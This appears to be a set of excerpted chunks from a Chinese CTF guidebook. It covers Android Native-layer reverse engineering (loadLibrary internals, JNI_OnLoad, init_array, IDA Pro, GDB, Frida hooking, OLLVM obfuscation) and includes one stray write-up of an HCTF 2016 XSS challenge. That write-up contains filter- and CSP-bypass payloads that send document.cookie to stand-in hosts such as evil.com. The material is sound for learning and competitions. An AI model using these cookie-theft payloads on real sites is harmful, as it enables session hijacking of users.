    {"text": "首先定位到System.loadLibrary()方法，其位于源码的/libcore/ojluni/src/main/java/java/lang/System.java路径下，该方法代码如下： 1529 public static void loadLibrary(String libname) { 1530 Runtime.getRuntime().loadLibrary0(VMStack.getCallingClassLoader(), libname); 1531 } 可以看出这个方法的流程非常简单，首先调用VMStack.getCallingClassLoader()方法获取当前的ClassLoader，然后调用Runtime里的loadLibrary0方法。 下面来看一下loadLibrary0方法，该方法位于/libcore/ojluni/src/main/java/java/lang/Runtime.java目录下，具体代码如下： 959 synchronized void loadLibrary0(ClassLoader loader, String libname) { 960 if (libname.indexOf((int)File.separatorChar) != -1) { 961 throw new UnsatisfiedLinkError( 962 \"Directory separator should not appear in library name: \" + libname); 963 } 964 String libraryName = libname; 965 if (loader != null) { 966 String filename = loader.findLibrary(libraryName); 967 if (filename == null) { 968 // It's not necessarily true that the ClassLoader used 969 // System.mapLibraryName, but the default setup does, and it's 970 // misleading to say we didn't find \"libMyLibrary.so\" when we 971 // actually searched for \"liblibMyLibrary.so.so\". 972 throw new UnsatisfiedLinkError(loader + \" couldn't find \\\"\" + 973 System.mapLibraryName(libraryName) + \"\\\"\"); 974 } 975 String error = doLoad(filename, loader); 976 if (error != null) { 977 throw new UnsatisfiedLinkError(error); 978 } 979 return; 980 } 981 982 String filename = System.mapLibraryName(libraryName); 983 List<String> candidates = new ArrayList<String>(); 984 String lastError = null; 985 for (String directory : getLibPaths()) { 986 String candidate = directory + filename; 987 candidates.add(candidate); 988 989 if (IoUtils.canOpenReadOnly(candidate)) { 990 String error = doLoad(candidate, loader); 991 if (error == null) { 992 return; // We successfully loaded the library. Job done. 993 } 994 lastError = error; 995 } 996 } 997 998 if (lastError != null) { 999 throw new UnsatisfiedLinkError(lastError); 1000 } 1001 throw new UnsatisfiedLinkError(\"Library \" + libraryName + \" not found; tried \" + candidates); 1002 } 从上面的代码可以看出，loadLibrary0方法根据传入的ClassLoader类型的参数值不同，会进入不同的执行流程，当ClassLoader不为空时，会利用ClassLoader的findLibrary方法来获取lib文件的路径，这个方法主要是对传入的lib名字补上“lib”前缀和“.so”后缀，然后从一个路径表里查找最终的绝对路径。"},
    {"text": "doLoad方法仍然在这个类里面，代码如下（省略了注释的部分）： 1031 private String doLoad(String name, ClassLoader loader) { 1032 // ... 1051 String librarySearchPath = null; 1052 if (loader != null && loader instanceof BaseDexClassLoader) { 1053 BaseDexClassLoader dexClassLoader = (BaseDexClassLoader) loader; 1054 librarySearchPath = dexClassLoader.getLdLibraryPath(); 1055 } 1056 //... 1059 synchronized (this) { 1060 return nativeLoad(name, loader, librarySearchPath); 1061 } 1062 } 这个方法也比较简单，首先获取LD_LIBRARY_PATH路径的值，然后将库文件名字、ClassLoader实例、LD_LIBRARY_PATH路径的值传入nativeLoad函数中继续载入。 Java层的nativeLoad方法在Native层定义为Runtime_nativeLoad函数，源码位于/libcore/ojluni/src/main/native/Runtime.c中，具体代码如下： 77 JNIEXPORT jstring JNICALL 78 Runtime_nativeLoad(JNIEnv* env, jclass ignored, jstring javaFilename, 79 jobject javaLoader, jstring javaLibrarySearchPath) 80 { 81 return JVM_NativeLoad(env, javaFilename, javaLoader, javaLibrarySearchPath); 82 } 这个函数非常简单，将参数原封不动地传给了JVM_NativeLoad函数。 JVM_NativeLoad函数位于源码的/art/runtime/openjdkjvm/OpenjdkJvm.cc路径下，具体代码如下： 322 JNIEXPORT jstring JVM_NativeLoad(JNIEnv* env, 323 jstring javaFilename, 324 jobject javaLoader, 325 jstring javaLibrarySearchPath) { 326 ScopedUtfChars filename(env, javaFilename); 327 if (filename.c_str() == NULL) { 328 return NULL; 329 } 330 331 std::string error_msg; 332 { 333 art::JavaVMExt* vm = art::Runtime::Current()->GetJavaVM(); 334 bool success = vm->LoadNativeLibrary(env, 335 filename.c_str(), 336 javaLoader, 337 javaLibrarySearchPath, 338 &error_msg); 339 if (success) { 340 return nullptr; 341 } 342 } 343 344 // Don't let a pending exception from JNI_OnLoad cause a CheckJNI issue with NewStringUTF. 345 env->ExceptionClear(); 346 return env->NewStringUTF(error_msg.c_str()); 347} 这个函数也不长，简单看一下，首先将lib库的路径名从jstring类型转化为普通字符串，然后使用art::Runtime::Current()->GetJavaVM()调用获取当前的Java虚拟机指针，新建一个std::string类型的变量error_msg来保存返回的字符串，最后将所有的变量全部传入vm->LoadNativeLibrary函数中。 接下来调用的函数JavaVMExt::LoadNativeLibrary就非常长了，这个函数也是加载lib库的核心函数，重点代码摘录如下，全部代码位于/art/runtime/java_vm_ext.cc文件中，有兴趣的读者可以研究学习一下。 JavaVMExt::LoadNativeLibrary函数代码如下： 722 const std::string& path, 723 jobject class_loader, 724 jstring library_path, 725 std::string* error_msg) { 726 error_msg->clear(); 727 728 // ... 732 SharedLibrary* library; 733 //... 789 const char* path_str = path.empty() ? nullptr : path.c_str(); 790 void* handle = android::OpenNativeLibrary(env, 791 runtime_->GetTargetSdkVersion(), 792 path_str, 793 class_loader, 794 library_path); 795 796 //... 844 sym = library->FindSymbol(\"JNI_OnLoad\", nullptr); 845 if (sym == nullptr) { 846 VLOG(jni) << \"[No JNI_OnLoad found in \\\"\" << path << \"\\\"]\"; 847 was_successful = true; 848 } else { 849 // Call JNI_OnLoad. We have to override the current class 850 // loader, which will always be \"null\" since the stuff at the 851 // top of the stack is around Runtime.loadLibrary(). (See 852 // the comments in the JNI FindClass function.) 853 ScopedLocalRef<jobject> old_class_loader(env, env->NewLocalRef(self->GetClassLoaderOverride())); 854 self->SetClassLoaderOverride(class_loader); 855 856 VLOG(jni) << \"[Calling JNI_OnLoad in \\\"\" << path << \"\\\"]\"; 857 typedef int (*JNI_OnLoadFn)(JavaVM*, void*); 858 JNI_OnLoadFn jni_on_load = reinterpret_cast<JNI_OnLoadFn>(sym); 859 int version = (*jni_on_load)(this, nullptr); 860 861 if (runtime_->GetTargetSdkVersion() != 0 && runtime_->GetTargetSdkVersion() <= 21) { 862 fault_manager.EnsureArtActionInFrontOfSignalChain(); 863 } 864 865 self->SetClassLoaderOverride(old_class_loader.get()); 866 867 if (version == JNI_ERR) { 868 StringAppendF(error_msg, \"JNI_ERR returned from JNI_OnLoad in \\\"%s\\\"\", path.c_str()); 869 } else if (IsBadJniVersion(version)) { 870 StringAppendF(error_msg, \"Bad JNI version returned from JNI_OnLoad in \\\"%s\\\": %d\", 871 path.c_str(), version); 872 // ... 878 } else { 879 was_successful = true; 880 } 881 VLOG(jni) << \"[Returned \" << (was_successful ? \"successfully\" : \"failure\") 882 << \" from JNI_OnLoad in \\\"\" << path << \"\\\"]\"; 883 } 884 885 library->SetResult(was_successful); 886 return was_successful; 887} 简单解释一下上面的代码。 首先，声明一个SharedLibrary类型的指针library用于指向加载之后的lib库文件，程序首先会检查目标lib库文件是否已经加载，如果已经加载，则直接返回，如果未加载则会调用android::OpenNativeLibrary函数进行加载。"},
    {"text": "android::OpenNativeLibrary函数位于/system/core/libnativeloader/native_loader.cpp路径下，主要功能是调用Linker（Android系统中的连接器）的dlopen函数加载lib库。"},
    {"text": "对于dlopen调用，熟悉Linux系统编程的同学应该知道，dlopen调用时会搜索目标lib文件代码中是否包含init_array段，如果包含这个段，则dlopen会在加载的时候运行它。"},
    {"text": "首先看一下JNI_OnLoad函数，如下代码是一个JNI_OnLoad函数动态注册Native方法的示例： #include <stdlib.h> #include <string.h> #include <stdio.h> #include <jni.h> #include <assert.h> /* This is a trivial JNI example where we use a native method * to return a new VM String. See the corresponding Java source * file located at: * * apps/samples/hello-jni/project/src/com/example/HelloJni/HelloJni.java */ jstring native_hello(JNIEnv* env, jobject thiz) { return (*env)->NewStringUTF(env, \"动态注册JNI\"); } /** * 方法对应表 */ static JNINativeMethod gMethods[] = { {\"stringFromJNI\", \"()Ljava/lang/String;\", (void*)native_hello},//绑定 }; /* * 为某一个类注册本地方法 */ static int registerNativeMethods(JNIEnv* env , const char* className , JNINativeMethod* gMethods, int numMethods) { jclass clazz; clazz = (*env)->FindClass(env, className); if (clazz == NULL) { return JNI_FALSE; } if ((*env)->RegisterNatives(env, clazz, gMethods, numMethods) < 0) { return JNI_FALSE; } return JNI_TRUE; } /* * 为所有类注册本地方法 */ static int registerNatives(JNIEnv* env) { const char* kClassName = \"com/example/hellojni/HelloJni\";//指定要注册的类 return registerNativeMethods(env, kClassName, gMethods, sizeof(gMethods) / sizeof(gMethods[0])); } /* * System.loadLibrary(\"lib\")时调用 * 如果成功则返回JNI版本, 若失败则返回-1 */ JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM* vm, void* reserved) { JNIEnv* env = NULL; jint result = -1; if ((*vm)->GetEnv(vm, (void**) &env, JNI_VERSION_1_4) != JNI_OK) { return -1; } assert(env != NULL); if (!registerNatives(env)) {//注册 return -1; } //成功 result = JNI_VERSION_1_4; return result; } 再来看一下init_array的内容，下面的范例能够在init_array中添加内容，代码如下： void my_init(void) __attribute__((constructor)); void my_init(void) { //Do something } 同样，在这个代码段里运行(*env)->RegisterNatives函数，也可以动态地增加Native调用。 综上所述，我们在解题过程中需要重点关注两个入口——JNI_OnLoad函数和init_array段，重点关注一个函数——(*env)->RegisterNatives函数，那么所有动态注册的Native函数就尽在掌握了。"},
    {"text": "未知 25.2 使用IDA Pro静态分析 对于静态分析来说，最知名同时也是使用得最多的当属大名鼎鼎的静态反汇编分析工具IDA Pro了。IDA Pro从6.1版本开始，提供了对Android程序的逆向与动态调试功能。目前最新的IDA Pro 7.0已经内置了Android NDK中关键数据结构的定义，已经可以不用添加外置“.h”头文件来解码Android NDK中的结构定义了。 因此，本节将主要介绍IDA Pro在静态分析中的使用方法，其他静态分析工具本节暂不介绍了，有兴趣的读者可以自行查看相关文档。同样的，本节也不是IDA Pro的入门教程，重点在介绍使用IDA Pro逆向过程中用到的一些技巧。 按照做题的一般步骤，拿到APK文件后，通过unzip解压缩，在lib目录下一般会看到相应的so文件，很显然，将这个so文件拖入IDA Pro，我们的逆向旅程就正式开始了。 打开一个so文件的第一步，就是查看其导出表，即Exports选项卡，查看是否有我们感兴趣的函数。根据25.1节的内容，我们感兴趣的函数有两类，一类是标准的Native方法命名的函数，另一类是JNI_OnLoad函数，如图25-1所示。 图25-1 IDA Pro查看导出表 在这个so文件中没有找到标准的Native方法命名的函数，但是找到了JNI_OnLoad函数，双击该函数，如图25-2所示。 图25-2 IDA Pro查看JNI_OnLoad函数 在没有加入混淆的情况下，直接按F5键，就可以反编译成C语言的形式（若不能反编译，请考虑一下是否定义了函数，在汇编语言的第一句按p定义函数），效果如图25-3所示。 图25-3 IDA Pro查看反编译的C代码 可能有读者会产生这样的疑问，这个JNI_OnLoad函数为什么与标准的定义不一样？里面的代码要如何处理？这里就要讲一下逆向过程中的第一个技巧：重定义函数参数类型。 首先，我们将光标移动到函数名“JNI_OnLoad”上，然后右键选择“Set item type”或者直接按y快捷键，弹出修改函数名称及参数的选项，将函数定义改成标准形式（这里还是保留“__fastcall”参数），如图25-4所示。 图25-4 IDA Pro修改参数类型 然后点击OK，函数的参数就被修改了，同时，代码中原先的各种调用也成功显示出来了，如图25-5所示。 图25-5 IDA Pro查看反编译效果 同样的，在处理标准的Native方法命名的函数时也是一样的思路。因为标准的Native方法命名的函数，其前两个参数是确定的，但是后面还有几个参数，这个是与Java层里面的定义相关的。有时候，IDA Pro并不能正确地识别参数个数，需要手动修改函数的定义，我们只需要将函数参数类型修改为正确的类型即可，例如jobject、jstring、jint等，这些Android NDK的标准类型目前都是受IDA Pro支持的。 下面讲解在逆向分析过程中往往会被忽视的部分——init_array段。 要想查看该字段，首先要打开IDA Pro的Segments窗口，具体方法我们可以依次点击菜单栏的View→Open subviews→Segments来操作，如图25-6所示是某个so文件的Segments窗口。 图25-6 IDA Pro查看段表 我们可以从这里看到init_array，双击进入该字段，如图25-7所示。 图25-7 IDA Pro查看init_array 双击进入sub_14C0，可以看到隐藏的代码，如图25-8所示。 图25-8 IDA Pro查看init_array代码 那么，空的init_array段是什么样呢，如图25-9所示，全部为0。 图25-9 IDA Pro查看空的init_array 在比赛时，一定不要忘记看一眼init_array段，说不定会有不一样的收获。 下一节，我们将介绍多种动态调试的方法。 未知 25.3 动态调试 本节将介绍在Android题目解题过程中经常使用到的动态调试和HOOK方法。Native层的动态调试，与Dalvik层的动态调试的出发点类似，都是为了绕过静态调试的冗长过程，争取一步得到答案。但是Native层的动态调试有其特殊性，因为Native层的函数可以做得很复杂，有时静态逆向完全看不懂，此时必须以动态调试来辅助。因此，在做题时，静态调试和动态调试总是相辅相成的，不能割裂开来。 本节将介绍使用最多的两种动态调试方法——IDA Pro调试和GDB调试，还将介绍Frida HOOK框架在Native层中的应用以及一些常用的小技巧。"},
    {"text": "未知 25.3.1 使用IDA Pro进行动态调试 使用IDA Pro进行动态调试对初学者来说最容易上手，且它的调试界面更为友好。 使用IDA Pro进行动态调试，首先需要有一个能够ROOT的手机。现在假设我们已经有了一个能够ROOT的手机，然后开始本节的教程。 第一步，在手机端启动IDA Pro的远程调试器客户端。 先找到IDA Pro目录下的android_server文件，这个文件对应着32位ARM处理器的Android系统调试，64位ARM处理器的Android系统调试需要android_server64文件。如果不知道这个文件在哪里，那么直接在IDA Pro的目录下搜索即可。 找到android_server文件之后，将该文件传到手机端的/data/local/tmp目录下。随后进入adb shell，并切换到ROOT权限，启动android_server（没有赋予运行权限的请先赋予运行权）。下面我们将完整命令列出，如下： $ adb push android_server /data/local/tmp $ adb shell shell@hammerhead:/ $ su shell@hammerhead:/ # cd data/local/tmp/ shell@hammerhead:/data/local/tmp # chhmod 777 android_server shell@hammerhead:/data/local/tmp # ./android_server IDA Android 32-bit remote debug server(ST) v1.21. Hex-Rays (c) 2004-2016 Listening on port #23946... 第二步，打开端口转发。从上面的输出可以看出，IDA Pro的android_server监听在23946端口，因此我们需要将Android上的这个端口流量转发到调试主机上来，使用adb命令即可办到，命令如下： $ adb forward tcp:23946 tcp:23946 这样，手机上的23946端口就绑定到我们调试主机的23946端口了。 第三步，运行IDA Pro并连接调试客户端。依次选择Debugger→Attach→Remote ARMLinux/Android debugger，并填写目标调试客户端的IP和端口，如图25-10所示，这里我们选择连接到本机的23946端口。 图25-10 IDA Pro动态调试 点击“OK”，IDA Pro会弹出一个供你选择调试进程的窗口，如图25-11所示。 图25-11 IDA Pro选择附加进程 选择我们想要调试的进程，点击“OK”即可。 最后一步，就是开始调试了。如图25-12所示的是一个典型的IDA Pro调试界面，汇编代码区、寄存器区、内存区、模块区等信息一目了然，在工具栏里可以使用各种按钮执行单步进入、单步跳过等操作，可以点击汇编代码左侧的蓝色小点下断点，非常容易上手，这里就不展开介绍了。 需要注意的是，动态调试不能与静态调试割裂开，一定要再打开一个IDA Pro窗口进行静态比对，你会省去很多工作。 25.3.2节将介绍笔者最常用的动态调试工具——GDB。 图25-12 IDA Pro动态调试"},
    {"text": "未知 25.3.2 使用GDB进行动态调试 GDB是GNU默认的调试器，同时也是笔者最常用的调试器。 GDB作为命令行形式的调试器，虽然功能强大，但是上手还是有一定难度的，使用者需要对常用的命令有一定了解，初学者也不要气馁，多学多用，很快就能上手了。 下面我们来讲解一下GDB在Android系统上的调试方法。 目前，编译能够在ARM处理器架构的Android系统上直接运行的GDB仍然是一个业界难题，虽然有人成功但是其运行效果并不稳定。"},
    {"text": "我们可以从Google的Android源码库AOSP上面下载编译好的gdbserver，网址是 https://android.googlesource.com/platform/prebuilts/misc/ ，按照网页上的提示，将这个Git仓库克隆下来，你就拥有了覆盖大多数平台的gdbserver了。 同样，编译好的支持各版本Android系统的GDB也可以从Google源码库中下载，例如，macOS系统版本的GDB网址是 https://android.googlesource.com/platform/prebuilts/gdb/darwin-x86/ ，Linux系统版本的GDB网址是 https://android.googlesource.com/platform/prebuilts/gdb/linux-x86/ 。"},
    {"text": "gdbserver支持三种启动方式，分别是normal模式、attach模式、multi模式。 normal模式，顾名思义就是普通模式，这种模式主要用于使用gdbserver启动新的程序，并使代码断在新进程的第一个指令处；"},
    {"text": "这里我们假设使用的是attach模式来调试目标进程，目标进程的pid为888，命令如下： $ adb push gdbserver /data/local/tmp $ adb shell shell@hammerhead:/ $ cd data/local/tmp shell@hammerhead:/data/local/tmp $ chmod 777 gdbserver shell@hammerhead:/data/local/tmp $ ./gdbserver --attach tcp:31137 888 从上面的命令可以看出，gdbserver在运行的时候，除了使用命令“--attach”来指定模式之外，还使用了参数“tcp:31137”来指定监听端口。"},
    {"text": "命令如下： $ gdb -q (gdb) target remote :31137 Remote debugging using :31137 Reading /data/local/tmp/dumpso from remote target... warning: File transfers from remote targets can be slow. Use \"set sysroot\" to access files locally instead. Reading /data/local/tmp/dumpso from remote target... Reading symbols from target:/data/local/tmp/dumpso...(no debugging symbols found)...done. Reading /system/bin/linker from remote target... Reading /system/bin/linker from remote target... Reading symbols from target:/system/bin/linker...Reading /system/bin/.debug/linker from remote target... (no debugging symbols found)...done. 0xb6fefa94 in __dl__start () from target:/system/bin/linker (gdb) 提示这样的回显，就说明GDB连接成功，可以开始我们的调试工作了。"},
    {"text": "这里需要强调的是，使用GDB调试APK时，一般是没有源码和调试符号的，因为命令行的局限性，不能有一个全局的纵览，一定要结合IDA Pro的静态分析功能来辅助进行。 下面为了更好地帮助大家入门，简单介绍一下GDB的常用命令，如果是使用x86版GDB的读者，需要注意的是，ARM版的GDB调试并不支持x86版GDB的所有功能，如果是老手的话则可以跳过本节的剩余内容了。"},
    {"text": "FMT参数用于指明内存的读取格式和输出格式，这两个格式分别用一个小写字母指定，读取格式有：o(octal)、x(hex)、d(decimal)、u(unsigned decimal)、t(binary)、f(float)、a(address)、i(instruction)、c(char)、s(string)、z(hex,左侧补0)，输出格式有：b(byte)、h(halfword)、w(word)、g(giant、8字节)；"},
    {"text": "3.设置断点 break [LOCATION] [thread THREADNUM] [if CONDITION] break命令用来设置断点，可以简写为b。 LOCATION参数用于指定断点的位置，可以是函数名、源代码行数（如果有）、内存地址等，如果给内存地址下断点，则需要在内存地址前加星号（*）。 thread THREADNUM参数用于指定该断点使用于哪个线程，需要将THREADNUM修改为目标线程号，线程号可以用“i threads”命令查看。"},
    {"text": "if CONDITION参数用于设置条件断点，将需要CONDITION设置为一个表达式，当运行到该断点时，GDB会运行该表达式，如果结果为真即可触发断点，反之断点将会被跳过。 上面三个参数都不是必须的，如果break命令没有传入参数，那么GDB默认会在当前汇编语句处添加断点。"},
    {"text": "·next：单步跟踪（步过），在有源码的情况下，函数调用会被当作一条简单语句执行，可简写为n。 ·step：单步跟踪（步入），在有源码的情况下，函数调用进入被调用函数体内，可简写为s。"},
    {"text": "好了，基本的GDB命令差不多就是这些，要想了解更多的GDB命令，一定要熟练使用GDB的帮助功能（输入help命令即可查看），查看更多关于各个命令的详细信息。"},
    {"text": "未知 25.3.3 使用Frida框架HOOK进程 在25.2节中，我们介绍了Frida框架在Java层中的运用，同样的，Frida框架对Native层的支持也非常好，本节我们将学习如何使用Frida框架对C/C++HOOK进程。 本节介绍的内容仅涉及Frida框架的服务端代码，忘记Frida三层结构的读者请抓紧时间回第24章复习。 首先来看一下Frida框架HOOK函数的传入参数和返回值。 我们可以使用Module.findExportByName方法来找到目标函数的地址，该方法的定义如下： Module.findExportByName(module|null, exp) 其中，第一个参数填写的是要查找的导出函数所在lib库的名字（如果不知道lib库的名字则可以填写null）；第二个参数填写的是要查找的目标函数名，这里需要写成导出表里的全称，不要写成IDA Pro中提供的化简完的格式。 该方法返回一个NativePointer对象，该对象代表一个本地地址，可以用该对象的toInt32()或toString([radix=16])方法将地址打印出来。也就是说，使用Module.findExportByName方法可以找到指定的导出函数的地址，从而对该地址进行HOOK操作。 找到想要HOOK的函数地址后，我们可以使用Interceptor.attach方法注册HOOK函数，该方法的定义如下： Interceptor.attach(target, callbacks) 其中，第一个参数target是一个NativePointer对象，用于指定需要HOOK的函数的地址；第二个参数callbacks是一个object对象，该对象至少需要包含onEnter和onLeave两个回调中的一个，onEnter和onLeave分别定义如下： onEnter: function (args) onEnter表示传入参数的HOOK函数，该函数会在HOOK的目标函数之前调用，其中，参数args代表传入的参数数组，其本质上是NativePointer对象的数组，可以用args[0]、args[1]等来访问，可以用args[?].replace()函数来替换。 onLeave: function (retval) onLeave表示对返回值参数的HOOK函数，该函数在HOOK目标函数之后调用，其中参数retval为NativePointer对象，指向返回值，可以用retval.replace()方法来替换返回值。需要注意的是，如果需要在onLeave回调外面使用这个返回值，那么需要对该返回值做一次深拷贝，否则会有不可预料的错误，深拷贝方法可以使用ptr(retval.toString())。 下面列举一个简单的例子来说明，代码如下： Interceptor.attach(Module.findExportByName(\"libc.so\", \"read\"), { onEnter: function (args) { this.fileDescriptor = args[0].toInt32(); }, onLeave: function (retval) { if (retval.toInt32() > 0) { /* do something with this.fileDescriptor */ } } }); 这里可能会有读者提出疑问，万一想要HOOK的函数没有导出应该怎么办呢？答案很简单，我们可以自己构造一个NativePointer对象。 构造新的NativePointer对象可以使用语句“new NativePointer(s)”，这里的s既可以是数字，也可以是能够转化为数字的字符串；该语句也可以简化为“ptr(s)”。此外，NativePointer对象还支持isNull、add、sub、and、or、xor、shr、shl、equals、compare、toInt32、toString等方法。 因此，我们自己构造一个NativePointer对象，指向我们想要HOOK的函数的起始地址。此外，因为32位ARM处理器架构有ARM和Thumb两种模式，因此当我们手动构造NativePointer对象时，对于Thumb指令需要将地址加1；而当我们使用Module.findExportByName方法获取函数地址时，Frida会自动帮我们处理这种情况。 这里教大家一个通用的方法，首先，我们可以使用Module.findBaseAddress方法找到目标lib库的初始地址，随后加上目标函数的偏移（这个偏移可以根据IDA Pro计算出来），然后使用正常的步骤HOOK即可，示例代码如下： var libc = Module.findBaseAddress('libc.so'); libc.add(ptr('0x1222')) Interceptor.attach(libc, callbacks) 除了上面介绍的基本的HOOK方法之外，还有另外一个很有用的方法：hexdump，该方法的定义如下： hexdump(target[, options]) 其中，target是一个NativePointer对象，options是可选的，用于指定效果，具体的效果可以查看官方文档，这里一般为空。 这个方法，顾名思义，就是打印内存所用的方法，非常好用。该方法会返回一个hexdump格式的字符串，需要你自己使用send或者console.log打印出来。"},
    {"text": "未知 3.5 实例 HCTF 2016中有一道XSS漏洞相关的题目：guestbook。该题目代码中的过滤代码如下： function filter($string) { $escape = array('\\'','\\\\\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; $string = preg_replace($safe, 'hacker', $string); $xsssafe = array('img','script','on','svg','link'); $xsssafe = '/' . implode('|', $xsssafe) . '/i'; return preg_replace($xsssafe, '', $string); } 可以看到，这段代码中其实只有很少的过滤，而且都是单层的，只需要复写2次就可以绕过，例如： scrscriptipt 这个题目考查的关键点在于CSP的绕过，CSP规则如下： default-src 'self'; script-src 'self' 'unsafe-inline'; font-src 'self' fonts.gstatic.com; style-src 'self' 'unsafe-inline'; img-src 'self' 这段CSP规则中，由于开启了unsafe-inline，因此可以使用前文提到过的CSP绕过的方法进行绕过，例如： <scrscriptipt>locatioonn.href=\"http://eval.com/xss/cookie.php?cookie=\"+escape (document.cookie);</sscriptcript> 上面代码中的locatioonn.href并非笔误，而是因为过滤函数中过滤了on，所以此处的locatioonn经过过滤后就变成了正确的location。另外还可以用下面的方法进行绕过： <scscriptript>var l = document.createElement(\"liscriptnk\"); l.setAttribute(\"rel\", \"prefetch\");l.setAttribute(\"href\", \"//evil.com:2333/\" + document.cookie); document.head.appendChild(l);</scscriptript> 未知 25.4 OLLVM混淆及加固技术 Android Native层的混淆和加固技术非常多，因为C语言可以做出非常多样的变化，但是我们在一般的比赛题目中，不会去加非常强的混淆，要不然题目根本就没法做了，稍微难一点的题目可能会使用OLLVM混淆，因此，本节将重点介绍OLLVM混淆技术。 OLLVM的全称是Obfuscator-LLVM，是以LLVM编译器为基础开发的、增加了混淆功能的编译器。该编译器支持大部分语言（C、C++、Objective-C、Ada、Fortran），支持大部分处理器架构（x86、x86-64、PowerPC、PowerPC-64、ARM、Thumb、SPARC、Alpha、CellSPU、MIPS、MSP430、SystemZ、XCore），是一个功能非常强大的编译器。 OLLVM的源码位于 https://github.com/obfuscator-llvm/obfuscator ，有兴趣的读者可以自行研究。 OLLVM支持三种混淆方式，参数分别为-fla、-sub、-bcf，这三种混淆方式是相互独立的，下面我们来深入讲解一下这三种混淆方式。 首先我们先看一下未混淆的代码是什么样的，原始代码具体如下： unsigned int target_function(unsigned int n) { unsigned int mod = n % 4; unsigned int result = 0; if (mod == 0) result = (n | 0xBAAAD0BF) * (2 ^ n); else if (mod == 1) result = (n & 0xBAAAD0BF) * (3 + n); else if (mod == 2) result = (n ^ 0xBAAAD0BF) * (4 | n); else result = (n + 0xBAAAD0BF) * (5 & n); return result; } 使用clang编译器或者未加混淆参数的OLLVM编译器编译出来的汇编代码，其用IDA Pro查看的流程图（去掉了栈溢出检测等无关代码）如图25-13所示。 图25-13 IDA Pro查看反编译流图 可以看到，流程非常容易识别，反汇编起来毫无压力。 下面就来看一下各个混淆方式的效果。 未知 25.4.1 -fla -fla是control flow flattening的缩写，这里我们直译成“控制流扁平化”，或者称为“fla混淆”，根据官方文档的说法，该混淆将代码划分为许多基础块，将这些基础块放到一个无限循环中，并使用一个新的变量和switch语句来控制循环的流程。 混淆后用IDA Pro查看的流程图如图25-14所示。 这种混淆方式乍一看很复杂，其实还是比较简单的。在一开始的初始化流程中，OLLVM编译器会新建一个本地变量，同时赋予该本地变量一个整数，这个本地变量可用于控制流程，在本例中，该本地变量的值被存在寄存器LR中。 代码中所有的基础块都可以分为两类，一类是存储在为寄存器LR赋值的语句块中，另一类是存储在没有为寄存器LR赋值的块中；随后我们可以根据对寄存器LR赋值和判断的情况，将为LR赋值的块按照先后顺序排列，同时丢弃掉没有为LR赋值的块，形成一个有向图，最后将图中没有意义的块全部去除，即可还原出混淆前的代码了。 图25-14 IDA Pro查看混淆后的流图1"},
    {"text": "未知 25.4.2 -bcf -bcf的全称是“Bogus Control Flow”，这里直译为“虚假控制流”。这个混淆方法的主要思想是将所有基础块的代码再复制一遍，再添加一个永远为真的虚假分支，使得你在查看代码的时候能够发现有的流程重复出现了两次，例如，之前的代码使用“bcf混淆”后的效果如图25-15所示。 图25-15 IDA Pro查看混淆后的流图2 该混淆会使得你在使用上一步的溯源分析时，即试图将所有的基础块划分成一个有向图的过程时进入一个无尽循环。因为我们在以基础块为基本单位进行静态分析时，是看不到跳转的具体判断情况的。 因此对于bcf混淆，我们可以从源码中找出些许解决方法。源码中有一段注释如下： // Before : // entry // | // ______v______ // | Original | // |_____________| // | // v // return // // After : // entry // | // ____v_____ // |condition*| (false) // |__________|----+ // (true)| | // | | // ______v______ | // +-->| Original* | | // | |_____________| (true) // | (false)| !-----------> return // | ______v______ | // | | Altered |<--! // | |_____________| // |__________| // // * The results of these terminator's branch's conditions are always true, but these predicates are // opacificated. For this, we declare two global values: x and y, and replace the FCMP_TRUE // predicate with (y < 10 || x * (x + 1) % 2 == 0) (this could be improved, as the global // values give a hint on where are the opaque predicates) 从上面的注释代码中可以看到，bcf混淆使用了一个永真式“y<10||x*(x+1)%2==0”来作为判断的条件，结果为真则跳转到真正的分支，结果为假则跳转到无尽的循环。 因此我们只要抓住这个跳转条件，将无尽循环的分支整个去掉，就能够绕过bcf混淆了。 未知 25.4.3 -sub -sub是Instructions Substitution的缩写，这里直译为“指令替代”，这种混淆的思想是将常见的基础指令，例如加、减、乘、除等价替换成一些复杂的指令。之前的代码使用sub混淆之后使用IDA pro查看的流程图如图25-16所示。 由图25-16中可以看到，程序的主要流程并没有发生变化，只是代码变得略微复杂一些。OLLVM对于代码替换的支持可以查看官方的相关说明 https://github.com/obfuscator-llvm/obfuscator/wiki/Instructions-Substitution ，处理起来比之前两个混淆简单很多。 图25-16 IDA Pro查看混淆后的流图3 本节介绍了OLLVM混淆的细节，希望能够帮助读者对OLLVM混淆的细节有进一步的了解。 未知 本篇小结 本篇主要从Android基础知识、Dalvik层逆向、Native层逆向三个方面介绍了CTF中Android题目的类型和解法。 在第23章中，我们梳理了Android题目的类型、APK文件格式的结构、Android系统的基本架构、ARM平台的基本属性以及ADB的基本用法，补足了Android逆向的基础知识。 在第24章中，我们讲解了Dalvik虚拟机的基础知识，并且从静态分析、动态调试两个方面讲解了Dalvik层的逆向分析方法，介绍了Apktool、dex2jar、jd-gui、FernFlower、JEB等优秀的逆向工具，讲解了Xposed、Frida等优秀的HOOK工具，分析了Proguard、APK伪加密、DEX隐藏等常见的混淆及加密技术，具备了初步的Dalvik层逆向能力。 在第25章中，我们讲解了Native调用的原理，介绍了使用IDA Pro对APK进行逆向的技巧，重点讲解了使用IDA Pro、GDB、Frida等工具进行动态调试和HOOK的方法，最后我们简要介绍了常见的OLLVM混淆的混淆思路，初步具备了对Native层的逆向能力。 希望本篇内容能够对喜爱Android逆向的同学提供一些帮助，谢谢。 未知 第六篇 CTF之IoT 本篇可以算是本书的一大特色，加入了近几年CTF比赛中逐渐开始出现的IoT类赛题。事实上，对于IoT类题目，更专业的分类应该叫作Embedded System，即嵌入式系统。传统安全主要研究的是互联网上的安全，嵌入式系统近几年在传感器网络中大量应用，使得相关的安全问题也日益凸显，即物联网安全。 当然，嵌入式系统安全的范围要远比物联网更大，甚至包括物理层上的攻防。由于本书主要讨论的是CTF竞赛中有关嵌入式系统的问题，因此超出CTF比赛范围的内容在这里不会多做介绍，有兴趣的读者可以参考相关的研究著作或论文。 基于以上原因，在接下来的章节里，我们一律使用“IoT”这个名称来描述这类问题，以符合现在行业主流的认知。 